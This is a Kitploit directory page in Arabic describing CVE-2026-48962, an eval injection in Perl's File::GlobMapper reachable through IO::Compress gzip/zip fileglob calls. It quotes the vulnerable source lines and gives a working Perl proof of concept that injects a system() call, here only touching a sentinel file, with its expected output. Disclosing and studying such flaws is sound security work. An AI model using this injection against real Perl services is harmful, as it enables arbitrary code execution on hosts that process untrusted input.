Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-48962 — CVE-2026-48962 - IO::Compress - تنفيذ التعليمات البرمجية | Kitploit
أدوات/GitHubGitHub/joakimbulow/cve-2026-48962
تحليل الثغرات الأمنيةتحليل الكودالاستغلالالأوراق والأبحاثالتعلم والتعليم
GitHubjoakimbulow/cve-2026-48962

CVE-2026-48962

CVE-2026-48962 - IO::Compress - تنفيذ التعليمات البرمجية

عرض المستودع
2منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ملخص

ثغرة حقن تعليمة eval في File::GlobMapper::_getFiles() تسمح لأي مهاجم يمكنه التحكم في وسيط fileglob الناتج المُمرَّر إلى IO::Compress::Gzip::gzip() أو IO::Compress::Zip::zip() أو أي دالة شقيقة بتنفيذ كود برمجي تعسفي بلغة Perl في سياق العملية الجارية. لا حاجة للمصادقة. التأثير كامل: السرية والنزاهة والتوفر للعملية المضيفة معرضة للخطر تمامًا.


التفاصيل

تقوم File::GlobMapper::_parseOutputGlob() ببناء قالب لاسم الملف الناتج عن طريق لف نمط الإخراج الذي يوفره المتصل في علامتي تنصيص مزدوجتين بلغة Perl وتخزين النتيجة. ثم تمرر _getFiles() تلك السلسلة مباشرة إلى eval دون أي تنقية:

lib/File/GlobMapper.pm:316–321

root@kitploit:~
$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"';      # wrapped in double-quotes
$self->{OutputPattern} = $string;   # stored verbatim — no escaping

lib/File/GlobMapper.pm:342

root@kitploit:~
eval "\$outFile = $self->{OutputPattern};" ;   # executed — injection point

يتم استدعاء File::GlobMapper تلقائيًا عندما تكون كل من وسيطتي الإدخال والإخراج لدالة IO::Compress::* / IO::Uncompress::* عبارة عن سلاسل fileglob (محددة بـ < >). هذه اصطلاح استدعاء موثق وشائع. الدوال المتأثرة تشمل gzip و zip و bzip2 و deflate و rawdeflate وجميع نظائرها في IO::Uncompress::*.

أي حرف يغلق سلسلة Perl المزدوجة المحيطة — علامة تنصيص مزدوجة حرفية "، أو backtick `، أو ${...}، أو @{...} — متبوعًا بكود برمجي تعسفي يتم تنفيذه حرفيًا.


إثبات الفكرة (PoC)

احفظه باسم poc.pl وشغّله باستخدام perl poc.pl:

root@kitploit:~
#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);

my $dir      = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";

# Create a legitimate input file that the input glob will match
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;

my $malicious = qq(<$dir/out.gz"; system("touch $sentinel"); #>);

print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";

eval { gzip "<$dir/*.txt>" => $malicious };

if (-e $sentinel) {
    print "EXPLOITED — arbitrary command executed via eval injection\n";
    print "Sentinel: $sentinel\n";
    unlink $sentinel;
} else {
    print "Did not fire (check error: $@)\n";
}

المخرجات المتوقعة:

root@kitploit:~
Sentinel before: absent
EXPLOITED — arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_<pid>

تم التأكيد على الإصدار IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04.


التأثير

هذه ثغرة تنفيذ تعليمات برمجية عن بُعد (remote code execution). أي تطبيق ويب، أو خدمة API، أو أداة CLI، أو خط أنابيب معالجة دفعي يقبل إدخال المستخدم ويمرره كوسيط fileglob ناتج إلى أي دالة IO::Compress::* يعتبر ضعيفًا. يتم تنفيذ الكود المحقون بصلاحيات العملية المستدعية الكاملة.

من المتأثر: المطورون ومشغلو تطبيقات Perl التي تستخدم دوال IO::Compress::* مع اصطلاح استدعاء fileglob وحيث يكون نمط الإخراج مشتقًا من إدخال غير موثوق — مثل قوالب أسماء الملفات من نماذج الويب، أو معاملات REST API، أو وسائط CLI، أو ملفات التهيئة التي يتحكم بها مستخدمون غير مميزين.

في سياقات setuid أو الخوادم المميزة، يؤدي الاستغلال إلى تنفيذ كود بمستوى الصلاحية المرتفع. الثغرة موجودة منذ الإصدار الأولي من File::GlobMapper (حوالي 2005) وهي موجودة في كل توزيعة لينكس تشحن حزمة perl.

المراجع

  • https://nvd.nist.gov/vuln/detail/CVE-2026-48962
  • https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch
  • https://github.com/pmqs/IO-Compress/issues/73
  • https://metacpan.org/release/PMQS/IO-Compress-2.220/changes
  • http://www.openwall.com/lists/oss-security/2026/05/27/4
  • https://github.com/advisories/GHSA-q6wx-vhvq-x7h6
تنزيل الأداة